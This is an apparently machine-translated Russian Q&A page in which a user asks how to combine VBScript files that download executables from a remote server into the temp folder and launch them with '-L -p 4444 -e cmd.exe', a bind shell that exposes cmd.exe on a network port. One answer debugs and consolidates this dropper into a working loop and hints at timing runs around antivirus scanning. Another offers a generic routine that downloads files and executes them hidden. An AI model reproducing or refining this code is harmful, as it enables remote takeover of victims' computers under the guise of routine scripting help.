Как я могу объединить несколько скриптов .vbs одной и той же функции в один .vbs? - PullRequest
0 голосов
/ 31 января 2020

Я пытаюсь объединить приведенные ниже сценарии .vbs в один .vbs. Ниже приведен пример моего кода:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Когда я пытался запустить приведенный выше код, я всегда получаю сообщение об ошибке, как показано на рисунке ниже:

Операция выполнена не допускается, когда объект открыт

Лучшее решение, чтобы исправить это или заставить скрипт ждать и завершить, прежде чем переходить к следующему. Буду очень признателен.

То, что я пробовал: Я пробовал использовать: Next, WScript.Sleep 1000 и синтаксис Delay, но ни один из них не работает должным образом.

Ответы [ 2 ]

0 голосов
/ 31 января 2020

Вот пример, который загружает некоторые изображения из inte rnet и выполняет их, чтобы вы могли вдохновиться этим кодом и изменить его по своему назначению:

Option Explicit
Dim ws,TempFolder,Arr_Images,Img,Save2File
Set ws = CreateObject("WScript.Shell")
TempFolder = ws.ExpandEnvironmentStrings("%Temp%")

Arr_Images = Array(_
"https://apod.nasa.gov/apod/image/2001/DesertEclipse_Daviron_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/ic410_WISEantonucci_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/StoneyWay_Jacobs_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/RubinsGalaxy_hst1024.jpg",_
"https://images.pexels.com/photos/414612/pexels-photo-414612.jpeg"_
)

For each Img in Arr_Images
    Save2File = TempFolder & "\" & GetFileNamefromDirectLink(Img)
    Download Img,Save2File
    Execute Save2File
Next
wscript.echo "Done"
'----------------------------------------------------------------------------------------------------
Sub Download(URL,Save2File)
    Dim File,Line,BS,ws
    On Error Resume Next
    Set File = CreateObject("WinHttp.WinHttpRequest.5.1")
    File.Open "GET",URL, False
    File.Send()
    If err.number <> 0 then
        Line  = Line &  vbcrlf & "Error Getting File"
        Line  = Line &  vbcrlf & "Error " & err.number & "(0x" & hex(err.number) & ") " &  vbcrlf &_
        err.description
        Line  = Line &  vbcrlf & "Source " & err.source
        MsgBox Line,vbCritical,"Error getting file"
        Err.clear
        wscript.quit
    End If
    If File.Status = 200 Then ' File exists and it is ready to be downloaded
        Set BS = CreateObject("ADODB.Stream")
        Set ws = CreateObject("wscript.Shell")
        BS.type = 1
        BS.open
        BS.Write File.ResponseBody
        BS.SaveToFile Save2File, 2
    ElseIf File.Status = 404 Then
        MsgBox "File Not found : " & File.Status,vbCritical,"Error File Not Found"
    Else
        MsgBox "Unknown Error : " & File.Status,vbCritical,"Error getting file"
    End If
End Sub
'-------------------------------------------------------------------------------------------------
Function GetFileNamefromDirectLink(URL)
    Dim ArrFile,FileName
    ArrFile = Split(URL,"/")
    FileName = ArrFile(UBound(ArrFile))
    GetFileNamefromDirectLink = FileName
End Function
'-------------------------------------------------------------------------------------------------
Function Execute(StrCmd)
        Dim ws,MyCmd,Result
        Set ws = CreateObject("wscript.Shell")
        MyCmd = "CMD /C " & StrCmd & " "
        Result = ws.run(MyCmd,0,True)
        Execute = Result
End Function
'-------------------------------------------------------------------------------------------------
0 голосов
/ 31 января 2020

Я вижу несколько других проблем с вашим примером скрипта, кроме того, о котором сообщалось: не закрытие ADODB.Stream. Например, повторно DIM ранее переменных DIM, Next без For, отсутствие повторного использования кода и т. Д. c.

Проверьте, помогает ли это (не проверено):

dim http_obj : set http_obj = CreateObject("Microsoft.XMLHTTP")
dim stream_obj : set stream_obj = CreateObject("ADODB.Stream")
dim shell_obj : set shell_obj = CreateObject("WScript.Shell")
dim i, download, URL, FILENAME, RUNCMD

For i = 1 To 3
    download = "download" & CStr(i) & ".exe"

    URL = "http://server.com/" & download 'Where to download the file from
    http_obj.open "GET", URL, False
    http_obj.send

    FILENAME = "%Tmp%\" & download 'Name to save the file (on the local system)
    stream_obj.type = 1
    stream_obj.open
    stream_obj.write http_obj.responseBody
    stream_obj.savetofile FILENAME, 2
    stream_obj.close

    RUNCMD = FILENAME & " -L -p 4444 -e cmd.exe"
    shell_obj.run RUNCMD
Next

Я мог бы также предложить некоторую обработку ошибок, проверяя состояние http_obj для правильного кода ответа перед использованием responseBody, проверяя существование файла перед запуском RUNCMD и, возможно, кратковременно спя между закрытием потока и RUNCMD, если файл и у вас включено сканирование при доступе.

Наслаждайтесь.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...